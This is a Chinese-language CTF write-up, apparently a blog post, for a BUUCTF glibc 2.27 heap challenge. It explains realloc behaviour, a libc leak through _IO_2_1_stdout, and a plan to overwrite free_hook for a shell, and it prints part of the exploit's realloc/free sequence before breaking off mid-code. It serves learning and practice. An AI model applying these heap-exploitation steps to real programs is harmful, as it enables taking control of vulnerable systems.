文章目录
慢慢的接触到了FILE io的实战题目,很难想象这是2019年题目的水平,看来还是欠缺的太多了。
此外,realloc函数这里也是第一次碰到,之前一直都是用realloc_hook
,今天也终于对realloc这个函数下手了!!!
一、题目分析
题目环境是BUUCTF的ubuntu18,利用的是2.27-3ubuntu1_amd64
的libc版本,这个版本注意到tcache还是存在double free
的漏洞的,
至于函数功能真的是非常简单的
-
1.realloc功能
-
2.free功能
-
3.隐藏的666功能
这么简单功能?到滴该咋办,第一时间看到的时候我整个人都懵逼了。
二、前置知识
如果想靠自己的本事做出来,至少要掌握下面两个基础知识:
(一)关于realloc函数
realloc函数功能比malloc更加复杂,与malloc也有一定的区分。
- ①当ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
- ②当ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
- ③当size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
- ④当size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针
(二)关于如何利用stdout泄露libc的方法
网上有很多优秀的博文,我在这里推荐hollk
大神的博客,写的特别nice
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
三、解题思路
(一)抛出解题的核心问题
这个题目有两个最核心的问题:
- 第一,如何泄露libc的问题,如果不泄露libc,这么简单的程序时不可能达成利用的
- 第二,如何实现攻击,无论是泄露libc还是实现攻击,都需要一种思路,这个一定和realloc的特性是密不可分的。
(二)解题思路
如果在已知libc地址的前提下,攻击方法我们还是希望攻击hook
这种传统的方式,并且因为tcache double free
可行,tcache dup
就更容易利用了,其中就是需要我们仔细理解、设计realloc的用法。我们设(学习)计(大佬)的解题思路如下:
- 第一步,通过realloc和free的组合,具备实现tcache dup的攻击条件
- 第二步,利用main_arena与stdout相近的情况,爆破第二个低字节,利用利用_IO_2_1_stdout泄露libc
- 第三步,用第一步相同的方法指向free_hook,最终getshell
(三)最终解题详细过程
想法很美妙,但是如果不看大神的wp,能够想出来一定还是很有挑战的!!!
第一步:构建tcache dup的条件,并且将地址指向_IO_2_1_stdout
,事实就是这个构造就让我头秃欲裂
这里面细节太多了,建议一步一步看,结合代码注释看。
这里构造必须巧妙地运用realloc的特性:①当ptr != nullptr && size == 0的时候返回空指针;②当ptr == nullptr的时候,相当于malloc(size)两条性质。
- 1.我们先看一下tcache dup应该如何布置空间
realloc(0x30,"a") # 块A 这一步很关键,是为了tcache dup篡改B的fd预留位置
realloc(0,"") # 这一步是关键,利用了性质①
realloc(0x80,"b") # 块B ,在上述步骤后realloc_ptr被置空,又可以利用②构造下一个位置的chunk,而不是在A的基础上扩展
realloc(0,"") # 同上
realloc(0x40,"c") # 块C ,纯粹的隔离作用,防止被top chunk 合并
realloc(0,"")
realloc(0x80,"b") # 重新申请回B块
[free() for x in range(7)] # 利用tcache double free填满tcache chain
realloc(0,"") # 这一步有三层含义,非常关键
# 第一,清空realloc_ptr,为tcache dup必须的更改realloc_ptr创造条件
# 第二,将0x90大小的堆第8次释放,变成unsorted bin,这一步为realloc(A,size(A)+N)成功打下基础
# 第三,unsorted bin 会使得fd 变成main_arena + 96,这给我们篡改至_IO_2_1_stdout奠定了基础
布置完毕后堆空间是这样的
- 2.利用tcache dup需要两次malloc如何实现?如何篡改main_arena指向_IO_2_1_stdout?
realloc(0x30,"a") # 将realloc_ptr指向Chunk A
#break_here() # 注释代码用于在测试时候用,保证tcache顺利指向
#offset = int(input("please input offset : "))
#offset = (offset<<4)+